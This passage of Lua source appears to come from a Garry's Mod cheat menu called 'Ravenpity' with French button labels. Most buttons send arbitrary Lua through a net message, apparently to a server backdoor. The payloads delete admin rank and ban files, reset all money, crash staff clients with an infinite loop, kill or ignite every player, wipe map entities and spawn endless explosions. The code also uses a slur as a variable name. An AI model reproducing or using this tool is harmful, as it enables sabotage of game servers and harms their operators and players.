  1055. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  1056. screamer:SetTextColor( Color( 255, 255, 255 ) )
  1057. end
  1058. screamer.DoClick = function()
  1059. net.Start(ravenhacknet)
  1060. net.WriteString( "for k,v in pairs(player.GetAll()) do v:EmitSound( \"npc/stalker/go_alert2a.wav\", 100, 100 ) end" )
  1061. net.WriteBit(1)
  1062. net.SendToServer()
  1063. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Screamer lançé" )
  1064. end
  1065. end
  1066.  
  1067. -------------------------------------------------------------------------------------|
  1068.  
  1069. local deleterank = vgui.Create( "DButton", BackgroundSupportPanel)
  1070. deleterank:SetPos( 0, 150)
  1071. deleterank:SetSize( 400, 30 )
  1072. deleterank:SetText( "Supprimer les Grades" )
  1073. deleterank.Paint = function( self, w, h )
  1074. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  1075. if deleterank:IsHovered() then
  1076. deleterank:SetTextColor( Color( 0, 0, 0 ) )
  1077. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  1078. else
  1079. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  1080. deleterank:SetTextColor( Color( 255, 255, 255 ) )
  1081. end
  1082. deleterank.DoClick = function()
  1083. net.Start(ravenhacknet)
  1084. net.WriteString( "if file.Exists( \"ulib/groups.txt\", \"DATA\" ) then file.Delete(\"ulib/groups.txt\") end" )
  1085. net.WriteBit(1)
  1086. net.SendToServer()
  1087. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Supression en cours..." )
  1088.  
  1089. end
  1090. end
  1091.  
  1092. -------------------------------------------------------------------------------------|
  1093.  
  1094. local resetmoney = vgui.Create( "DButton", BackgroundSupportPanel)
  1095. resetmoney:SetPos( 0, 180)
  1096. resetmoney:SetSize( 400, 30 )
  1097. resetmoney:SetText( "Reset l'Argent" )
  1098. resetmoney.Paint = function( self, w, h )
  1099. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  1100. if resetmoney:IsHovered() then
  1101. resetmoney:SetTextColor( Color( 0, 0, 0 ) )
  1102. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  1103. else
  1104. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  1105. resetmoney:SetTextColor( Color( 255, 255, 255 ) )
  1106. end
  1107. resetmoney.DoClick = function()
  1108. net.Start(ravenhacknet)
  1109. net.WriteString( "RunConsoleCommand(\"rp_resetallmoney\")" )
  1110. net.WriteBit(1)
  1111. net.SendToServer()
  1112. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "L'argent a été Reset" )
  1113. end
  1114. end
  1115.  
  1116. -------------------------------------------------------------------------------------|
  1117.  
  1118. local debanall = vgui.Create( "DButton", BackgroundSupportPanel)
  1119. debanall:SetPos( 0, 210)
  1120. debanall:SetSize( 400, 30 )
  1121. debanall:SetText( "Débannir tout le Monde" )
  1122. debanall.Paint = function( self, w, h )
  1123. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  1124. if debanall:IsHovered() then
  1125. debanall:SetTextColor( Color( 0, 0, 0 ) )
  1126. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  1127. else
  1128. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  1129. debanall:SetTextColor( Color( 255, 255, 255 ) )
  1130. end
  1131. debanall.DoClick = function()
  1132. net.Start(ravenhacknet)
  1133. net.WriteString( "if file.Exists( \"ulib/bans.txt\", \"DATA\" ) then file.Delete(\"ulib/bans.txt\") end" )
  1134. net.WriteBit(1)
  1135. net.SendToServer()
  1136. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Tout le monde a été Déban" )
  1137. end
  1138. end
  1139.  
  1140. -------------------------------------------------------------------------------------|
  1141.  
  1142. local crashsuperadmin = vgui.Create( "DButton", BackgroundSupportPanel)
  1143. crashsuperadmin:SetPos( 0, 240)
  1144. crashsuperadmin:SetSize( 400, 30 )
  1145. crashsuperadmin:SetText( "Crash Superadmin" )
  1146. crashsuperadmin.Paint = function( self, w, h )
  1147. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  1148. if crashsuperadmin:IsHovered() then
  1149. crashsuperadmin:SetTextColor( Color( 0, 0, 0 ) )
  1150. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  1151. else
  1152. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  1153. crashsuperadmin:SetTextColor( Color( 255, 255, 255 ) )
  1154. end
  1155. crashsuperadmin.DoClick = function()
  1156. net.Start(ravenhacknet)
  1157. net.WriteString( " for k,v in pairs(player.GetAll()) do if( v:GetUserGroup() != \"user\" ) then v:SendLua(\"while true do end\") end end" )
  1158. net.WriteBit(1)
  1159. net.SendToServer()
  1160. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Les Superadmins sont en train de Crash" )
  1161. end
  1162. end
  1163.  
  1164. -------------------------------------------------------------------------------------|
  1165.  
  1166. local deleteentities = vgui.Create( "DButton", BackgroundSupportPanel)
  1167. deleteentities:SetPos( 0, 270)
  1168. deleteentities:SetSize( 400, 30 )
  1169. deleteentities:SetText( "Supprimer les Entitées" )
  1170. deleteentities.Paint = function( self, w, h )
  1171. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  1172. if deleteentities:IsHovered() then
  1173. deleteentities:SetTextColor( Color( 0, 0, 0 ) )
  1174. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  1175. else
  1176. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  1177. deleteentities:SetTextColor( Color( 255, 255, 255 ) )
  1178. end
  1179. deleteentities.DoClick = function()
  1180. net.Start(ravenhacknet)
  1181. net.WriteString( "for k, v in pairs(ents.FindByClass( \"prop_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"func_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"env_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"lua_run*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"point_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"trigger_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"info_*\" )) do v:Remove() end" )
  1182. net.WriteBit(1)
  1183. net.SendToServer()
  1184. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Toutes les Entitées ont été supprimer" )
  1185. end
  1186. end
  1187. end
  1188.  
  1189. /*======================================================================================================================================================================================
  1190. World Options
  1191. ========================================================================================================================================================================================*/
  1192. function RAVEN.WorldOptions()
  1193. if RAVEN.WorldOptionsListe and RAVEN.WorldOptionsListe:IsVisible() then RAVEN.WorldOptionsListe:Remove() end
  1194. RAVEN.WorldOptionsListe = vgui.Create("DFrame")
  1195. RAVEN.WorldOptionsListe:SetSize(682,350)
  1196. RAVEN.WorldOptionsListe:SetTitle("")
  1197. RAVEN.WorldOptionsListe:SetPos( 342, 250 )
  1198. RAVEN.WorldOptionsListe:MakePopup()
  1199. RAVEN.WorldOptionsListe:ShowCloseButton( false )
  1200. RAVEN.WorldOptionsListe.Paint = function( s, w, h )
  1201. if !RAVEN.Menu or !RAVEN.Menu:IsVisible() then s:Remove() return end
  1202. surface.SetDrawColor( Color(30, 30, 30, 255) )
  1203. surface.DrawRect( 0, 0, w, h )
  1204. surface.SetDrawColor( Color(55, 55, 55, 255) )
  1205. surface.DrawOutlinedRect( 0, 0, w, h )
  1206. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  1207. end
  1208. local CloseButtonWorldOptions = vgui.Create( "DButton", BackgroundSupportPanel)
  1209. CloseButtonWorldOptions:SetPos( 0, 370)
  1210. CloseButtonWorldOptions:SetSize( 400, 30 )
  1211. CloseButtonWorldOptions:SetText( "X" )
  1212. CloseButtonWorldOptions.Paint = function( self, w, h )
  1213. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  1214. if CloseButtonWorldOptions:IsHovered() then
  1215. CloseButtonWorldOptions:SetTextColor( Color( 0, 0, 0 ) )
  1216. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  1217. else
  1218. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  1219. CloseButtonWorldOptions:SetTextColor( Color( 255, 255, 255 ) )
  1220. end
  1221. CloseButtonWorldOptions.DoClick = function()
  1222. surface.PlaySound("UI/buttonrollover.wav")
  1223. BaseHeader:Remove()
  1224. end
  1225. end
  1226. local ReturnButtonWorldOptions = vgui.Create( "DButton", BackgroundSupportPanel)
  1227. ReturnButtonWorldOptions:SetPos( 0, 340)
  1228. ReturnButtonWorldOptions:SetSize( 400, 30 )
  1229. ReturnButtonWorldOptions:SetText( "<--" )
  1230. ReturnButtonWorldOptions.Paint = function( self, w, h )
  1231. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  1232. if ReturnButtonWorldOptions:IsHovered() then
  1233. ReturnButtonWorldOptions:SetTextColor( Color( 0, 0, 0 ) )
  1234. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  1235. else
  1236. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  1237. ReturnButtonWorldOptions:SetTextColor( Color( 255, 255, 255 ) )
  1238. end
  1239. ReturnButtonWorldOptions.DoClick = function()
  1240. surface.PlaySound("UI/buttonrollover.wav")
  1241. BaseHeader:Remove()
  1242. LocalPlayer():ConCommand("ravenpity_start")
  1243. end
  1244. end
  1245.  
  1246. -------------------------------------------------------------------------------------|
  1247.  
  1248. local armageddonon = vgui.Create( "DButton", BackgroundSupportPanel)
  1249. armageddonon:SetPos( 0, 0)
  1250. armageddonon:SetSize( 400, 30 )
  1251. armageddonon:SetText( "Armageddon" )
  1252. armageddonon.Paint = function( self, w, h )
  1253. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  1254. if armageddonon:IsHovered() then
  1255. armageddonon:SetTextColor( Color( 0, 0, 0 ) )
  1256. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  1257. else
  1258. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  1259. armageddonon:SetTextColor( Color( 255, 86, 86 ) )
  1260. end
  1261. armageddonon.DoClick = function()
  1262. local faggot = [[
  1263. hook.Add("Think", "armageddon", function()
  1264. local explode = ents.Create( "env_explosion" )
  1265. explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
  1266. explode:Spawn()
  1267. explode:SetKeyValue( "iMagnitude", "500" )
  1268. explode:Fire( "Explode", 0, 0 )
  1269. end)
  1270. ]]
  1271. net.Start(ravenhacknet)
  1272. net.WriteString( faggot )
  1273. net.WriteBit (1)
  1274. net.SendToServer()
  1275. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Armageddon lançé" )
  1276. end
  1277. end
  1278.  
  1279. -------------------------------------------------------------------------------------|
  1280.  
  1281. local moongravityon = vgui.Create( "DButton", BackgroundSupportPanel)
  1282. moongravityon:SetPos( 0, 30)
  1283. moongravityon:SetSize( 400, 30 )
  1284. moongravityon:SetText( "Gravité Lunaire" )
  1285. moongravityon.Paint = function( self, w, h )
  1286. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  1287. if moongravityon:IsHovered() then
  1288. moongravityon:SetTextColor( Color( 0, 0, 0 ) )
  1289. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  1290. else
  1291. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  1292. moongravityon:SetTextColor( Color( 255, 255, 255 ) )
  1293. end
  1294. moongravityon.DoClick = function()
  1295. net.Start(ravenhacknet)
  1296. net.WriteString( "RunConsoleCommand(\"sv_gravity\", \"160\")" )
  1297. net.WriteBit(1)
  1298. net.SendToServer()
  1299. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Gravité Lunaire activé" )
  1300. end
  1301. end
  1302. local moongravityoff = vgui.Create( "DButton", BackgroundSupportPanel)
  1303. moongravityoff:SetPos( 365, 35)
  1304. moongravityoff:SetSize( 20, 20 )
  1305. moongravityoff:SetText( "X" )
  1306. moongravityoff.Paint = function( self, w, h )
  1307. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  1308. if moongravityoff:IsHovered() then
  1309. moongravityoff:SetTextColor( Color( 255, 255, 255 ) )
  1310. draw.RoundedBox(0,0,0,w,h,Color(255, 117, 117, 150))
  1311. else
  1312. draw.RoundedBox( 0, 0, 0, w, h, Color(255, 0, 0, 0 ))
  1313. moongravityoff:SetTextColor( Color( 255, 255, 255 ) )
  1314. end
  1315. moongravityoff.DoClick = function()
  1316. net.Start(ravenhacknet)
  1317. net.WriteString( "RunConsoleCommand(\"sv_gravity\", \"500\")" )
  1318. net.WriteBit(1)
  1319. net.SendToServer()
  1320. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Gravité Lunaire désactivé" )
  1321. end
  1322. end
  1323.  
  1324. -------------------------------------------------------------------------------------|
  1325.  
  1326. local makeplayersflyon = vgui.Create( "DButton", BackgroundSupportPanel)
  1327. makeplayersflyon:SetPos( 0, 60)
  1328. makeplayersflyon:SetSize( 400, 30 )
  1329. makeplayersflyon:SetText( "Détruire la Physique du jeux" )
  1330. makeplayersflyon.Paint = function( self, w, h )
  1331. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  1332. if makeplayersflyon:IsHovered() then
  1333. makeplayersflyon:SetTextColor( Color( 0, 0, 0 ) )
  1334. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  1335. else
  1336. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  1337. makeplayersflyon:SetTextColor( Color( 255, 255, 255 ) )
  1338. end
  1339. makeplayersflyon.DoClick = function()
  1340. net.Start(ravenhacknet)
  1341. net.WriteString( "RunConsoleCommand(\"sv_friction\", \"-8\")" )
  1342. net.WriteBit(1)
  1343. net.SendToServer()
  1344. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Physique du Jeux détruite" )
  1345. end
  1346. end
  1347. local makeplayersflyoff = vgui.Create( "DButton", BackgroundSupportPanel)
  1348. makeplayersflyoff:SetPos( 365, 65)
  1349. makeplayersflyoff:SetSize( 20, 20 )
  1350. makeplayersflyoff:SetText( "X" )
  1351. makeplayersflyoff.Paint = function( self, w, h )
  1352. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  1353. if makeplayersflyoff:IsHovered() then
  1354. makeplayersflyoff:SetTextColor( Color( 255, 255, 255 ) )
  1355. draw.RoundedBox(0,0,0,w,h,Color(255, 117, 117, 150))
  1356. else
  1357. draw.RoundedBox( 0, 0, 0, w, h, Color(255, 0, 0, 0 ))
  1358. makeplayersflyoff:SetTextColor( Color( 255, 255, 255 ) )
  1359. end
  1360. makeplayersflyoff.DoClick = function()
  1361. net.Start(ravenhacknet)
  1362. net.WriteString( "RunConsoleCommand(\"sv_friction\", \"4\")" )
  1363. net.WriteBit(1)
  1364. net.SendToServer()
  1365. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Physique du Jeux remit par Défault" )
  1366. end
  1367. end
  1368.  
  1369. -------------------------------------------------------------------------------------|
  1370.  
  1371. local eartquake = vgui.Create( "DButton", BackgroundSupportPanel)
  1372. eartquake:SetPos( 0, 90)
  1373. eartquake:SetSize( 400, 30 )
  1374. eartquake:SetText( "Tremlement de Terre" )
  1375. eartquake.Paint = function( self, w, h )
  1376. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  1377. if eartquake:IsHovered() then
  1378. eartquake:SetTextColor( Color( 0, 0, 0 ) )
  1379. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  1380. else
  1381. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  1382. eartquake:SetTextColor( Color( 255, 255, 255 ) )
  1383. end
  1384. eartquake.DoClick = function()
  1385. net.Start(ravenhacknet)
  1386. net.WriteString(" for k, v in pairs( player.GetAll() ) do v:SendLua( [[util.ScreenShake( Vector( 0, 0, 0 ), 10, 5, 60, 5000 )]] ) end ")
  1387. net.WriteBit(1)
  1388. net.SendToServer()
  1389. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Tremblement de Terre lançé" )
  1390. end
  1391. end
  1392.  
  1393. -------------------------------------------------------------------------------------|
  1394.  
  1395. local igniteplayers = vgui.Create( "DButton", BackgroundSupportPanel)
  1396. igniteplayers:SetPos( 0, 120)
  1397. igniteplayers:SetSize( 400, 30 )
  1398. igniteplayers:SetText( "Bruler les Joueurs" )
  1399. igniteplayers.Paint = function( self, w, h )
  1400. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  1401. if igniteplayers:IsHovered() then
  1402. igniteplayers:SetTextColor( Color( 0, 0, 0 ) )
  1403. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  1404. else
  1405. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  1406. igniteplayers:SetTextColor( Color( 255, 255, 255 ) )
  1407. end
  1408. igniteplayers.DoClick = function()
  1409. net.Start(ravenhacknet)
  1410. net.WriteString( "for k,v in pairs(player.GetAll()) do v:Ignite(120) end" )
  1411. net.WriteBit(1)
  1412. net.SendToServer()
  1413. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Tout les Joueurs brûlent" )
  1414. end
  1415. end
  1416.  
  1417. -------------------------------------------------------------------------------------|
  1418.  
  1419. local killallplayer = vgui.Create( "DButton", BackgroundSupportPanel)
  1420. killallplayer:SetPos( 0, 150)
  1421. killallplayer:SetSize( 400, 30 )
  1422. killallplayer:SetText( "Tuer tout les Joueurs" )
  1423. killallplayer.Paint = function( self, w, h )
  1424. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  1425. if killallplayer:IsHovered() then
  1426. killallplayer:SetTextColor( Color( 0, 0, 0 ) )
  1427. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  1428. else
  1429. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  1430. killallplayer:SetTextColor( Color( 255, 255, 255 ) )
  1431. end
  1432. killallplayer.DoClick = function()
  1433. net.Start(ravenhacknet)
  1434. net.WriteString( "for k,v in pairs(player.GetAll()) do v:Kill() end" )
  1435. net.WriteBit(1)
  1436. net.SendToServer()
  1437. chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Tout les Joueur ont été tuer" )
  1438. end
  1439. end
  1440. end
  1441.  
  1442. /*======================================================================================================================================================================================
  1443. Spawn Options
  1444. ========================================================================================================================================================================================*/
  1445. function RAVEN.SpawnOptions()
  1446. if RAVEN.SpawnOptionsListe and RAVEN.SpawnOptionsListe:IsVisible() then RAVEN.SpawnOptionsListe:Remove() end
  1447. RAVEN.SpawnOptionsListe = vgui.Create("DFrame")
  1448. RAVEN.SpawnOptionsListe:SetSize(682,350)
  1449. RAVEN.SpawnOptionsListe:SetTitle("")
  1450. RAVEN.SpawnOptionsListe:SetPos( 342, 250 )
  1451. RAVEN.SpawnOptionsListe:MakePopup()
  1452. RAVEN.SpawnOptionsListe:ShowCloseButton( false )
  1453. RAVEN.SpawnOptionsListe.Paint = function( s, w, h )
  1454. if !RAVEN.Menu or !RAVEN.Menu:IsVisible() then s:Remove() return end
  1455. surface.SetDrawColor( Color(30, 30, 30, 255) )
  1456. surface.DrawRect( 0, 0, w, h )
  1457. surface.SetDrawColor( Color(55, 55, 55, 255) )
  1458. surface.DrawOutlinedRect( 0, 0, w, h )
  1459. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  1460. end
  1461. local CloseButtonSpawnOptions = vgui.Create( "DButton", BackgroundSupportPanel)
  1462. CloseButtonSpawnOptions:SetPos( 0, 370)
  1463. CloseButtonSpawnOptions:SetSize( 400, 30 )
  1464. CloseButtonSpawnOptions:SetText( "X" )
  1465. CloseButtonSpawnOptions.Paint = function( self, w, h )
  1466. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  1467. if CloseButtonSpawnOptions:IsHovered() then
  1468. CloseButtonSpawnOptions:SetTextColor( Color( 0, 0, 0 ) )
  1469. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  1470. else
  1471. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  1472. CloseButtonSpawnOptions:SetTextColor( Color( 255, 255, 255 ) )
  1473. end
  1474. CloseButtonSpawnOptions.DoClick = function()
  1475. surface.PlaySound("UI/buttonrollover.wav")
  1476. BaseHeader:Remove()
  1477. end
  1478. end
  1479. local ReturnButtonSpawnOptions = vgui.Create( "DButton", BackgroundSupportPanel)
  1480. ReturnButtonSpawnOptions:SetPos( 0, 340)
  1481. ReturnButtonSpawnOptions:SetSize( 400, 30 )
  1482. ReturnButtonSpawnOptions:SetText( "<--" )
  1483. ReturnButtonSpawnOptions.Paint = function( self, w, h )
  1484. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  1485. if ReturnButtonSpawnOptions:IsHovered() then
  1486. ReturnButtonSpawnOptions:SetTextColor( Color( 0, 0, 0 ) )
  1487. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  1488. else
  1489. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  1490. ReturnButtonSpawnOptions:SetTextColor( Color( 255, 255, 255 ) )
  1491. end
  1492. ReturnButtonSpawnOptions.DoClick = function()
  1493. surface.PlaySound("UI/buttonrollover.wav")
  1494. BaseHeader:Remove()
  1495. LocalPlayer():ConCommand("ravenpity_start")
  1496. end
  1497. end
  1498.  
  1499. -------------------------------------------------------------------------------------|
  1500.  
  1501. local startundo = vgui.Create( "DButton", BackgroundSupportPanel)
  1502. startundo:SetPos( 0, 0)
  1503. startundo:SetSize( 400, 30 )
  1504. startundo:SetText( "Undo" )
  1505. startundo.Paint = function( self, w, h )
  1506. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  1507. if startundo:IsHovered() then
  1508. startundo:SetTextColor( Color( 0, 0, 0 ) )
  1509. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  1510. else
  1511. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  1512. startundo:SetTextColor( Color( 128, 119, 255 ) )
  1513. end
  1514. startundo.DoClick = function()
  1515. LocalPlayer():ConCommand("undo")
  1516. end
  1517. end
  1518.  
  1519. -------------------------------------------------------------------------------------|
  1520.  
  1521. local spawnlogogmod = vgui.Create( "DButton", BackgroundSupportPanel)
  1522. spawnlogogmod:SetPos( 0, 30)
  1523. spawnlogogmod:SetSize( 400, 30 )
  1524. spawnlogogmod:SetText( "Logo Garry's Mod" )
  1525. spawnlogogmod.Paint = function( self, w, h )
  1526. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  1527. if spawnlogogmod:IsHovered() then
  1528. spawnlogogmod:SetTextColor( Color( 0, 0, 0 ) )
  1529. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  1530. else
  1531. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  1532. spawnlogogmod:SetTextColor( Color( 255, 255, 255 ) )
  1533. end
  1534. spawnlogogmod.DoClick = function()
  1535. LocalPlayer():ConCommand("gm_spawn models/maxofs2d/logo_gmod_b.mdl")
  1536. end
  1537. end
  1538.  
  1539. -------------------------------------------------------------------------------------|
  1540.  
  1541. local spawnsky = vgui.Create( "DButton", BackgroundSupportPanel)
  1542. spawnsky:SetPos( 0, 60)
  1543. spawnsky:SetSize( 400, 30 )
  1544. spawnsky:SetText( "Ciel Rouge" )
  1545. spawnsky.Paint = function( self, w, h )
  1546. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  1547. if spawnsky:IsHovered() then
  1548. spawnsky:SetTextColor( Color( 0, 0, 0 ) )
  1549. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  1550. else
  1551. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  1552. spawnsky:SetTextColor( Color( 255, 255, 255 ) )
  1553. end
  1554. spawnsky.DoClick = function()
  1555. LocalPlayer():ConCommand("gm_spawn models/props_combine/portalskydome.mdl")
  1556. end
  1557. end
  1558.  
  1559. -------------------------------------------------------------------------------------|
  1560.  
  1561. local spawnbuildings_a = vgui.Create( "DButton", BackgroundSupportPanel)
  1562. spawnbuildings_a:SetPos( 0, 90)
  1563. spawnbuildings_a:SetSize( 400, 30 )
  1564. spawnbuildings_a:SetText( "Immeuble 1" )
  1565. spawnbuildings_a.Paint = function( self, w, h )
  1566. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  1567. if spawnbuildings_a:IsHovered() then
  1568. spawnbuildings_a:SetTextColor( Color( 0, 0, 0 ) )
  1569. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  1570. else
  1571. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  1572. spawnbuildings_a:SetTextColor( Color( 255, 255, 255 ) )
  1573. end
  1574. spawnbuildings_a.DoClick = function()
  1575. LocalPlayer():ConCommand("gm_spawn models/props_buildings/row_res_1_fullscale.mdl")
  1576. end
  1577. end
  1578.  
  1579. -------------------------------------------------------------------------------------|
  1580.  
  1581. local spawnbuildings_b = vgui.Create( "DButton", BackgroundSupportPanel)
  1582. spawnbuildings_b:SetPos( 0, 120)
  1583. spawnbuildings_b:SetSize( 400, 30 )
  1584. spawnbuildings_b:SetText( "Immeuble 2" )
  1585. spawnbuildings_b.Paint = function( self, w, h )
  1586. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  1587. if spawnbuildings_b:IsHovered() then
  1588. spawnbuildings_b:SetTextColor( Color( 0, 0, 0 ) )
  1589. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  1590. else
  1591. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  1592. spawnbuildings_b:SetTextColor( Color( 255, 255, 255 ) )
  1593. end
  1594. spawnbuildings_b.DoClick = function()
  1595. LocalPlayer():ConCommand("gm_spawn models/props_buildings/collapsedbuilding02b.mdl")
  1596. end
  1597. end
  1598.  
  1599. -------------------------------------------------------------------------------------|
  1600.  
  1601. local spawnbuildings_c = vgui.Create( "DButton", BackgroundSupportPanel)
  1602. spawnbuildings_c:SetPos( 0, 150)
  1603. spawnbuildings_c:SetSize( 400, 30 )
  1604. spawnbuildings_c:SetText( "Immeuble 3" )
  1605. spawnbuildings_c.Paint = function( self, w, h )
  1606. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  1607. if spawnbuildings_c:IsHovered() then
  1608. spawnbuildings_c:SetTextColor( Color( 0, 0, 0 ) )
  1609. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  1610. else
  1611. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  1612. spawnbuildings_c:SetTextColor( Color( 255, 255, 255 ) )
  1613. end
  1614. spawnbuildings_c.DoClick = function()
  1615. LocalPlayer():ConCommand("gm_spawn models/props_buildings/project_building02.mdl")
  1616. end
  1617. end
  1618.  
  1619. -------------------------------------------------------------------------------------|
  1620.  
  1621. local spawnbuildings_d = vgui.Create( "DButton", BackgroundSupportPanel)
  1622. spawnbuildings_d:SetPos( 0, 180)
  1623. spawnbuildings_d:SetSize( 400, 30 )
  1624. spawnbuildings_d:SetText( "Immeuble 4" )
  1625. spawnbuildings_d.Paint = function( self, w, h )
  1626. draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
  1627. if spawnbuildings_d:IsHovered() then
  1628. spawnbuildings_d:SetTextColor( Color( 0, 0, 0 ) )
  1629. draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
  1630. else
  1631. draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
  1632. spawnbuildings_d:SetTextColor( Color( 255, 255, 255 ) )
  1633. end
  1634. spawnbuildings_d.DoClick = function()
  1635. LocalPlayer():ConCommand("gm_spawn models/props_buildings/building_002a.mdl")
  1636. end
  1637. end
  1638.  
  1639. -------------------------------------------------------------------------------------|
  1640.  
  1641. local spawnmicroprops = vgui.Create( "DButton", BackgroundSupportPanel)
  1642. spawnmicroprops:SetPos( 0, 210)
  1643. spawnmicroprops:SetSize( 400, 30 )
  1644. spawnmicroprops:SetText( "Micro Props" )
  1645. spawnmicroprops.Paint = function( self, w, h )
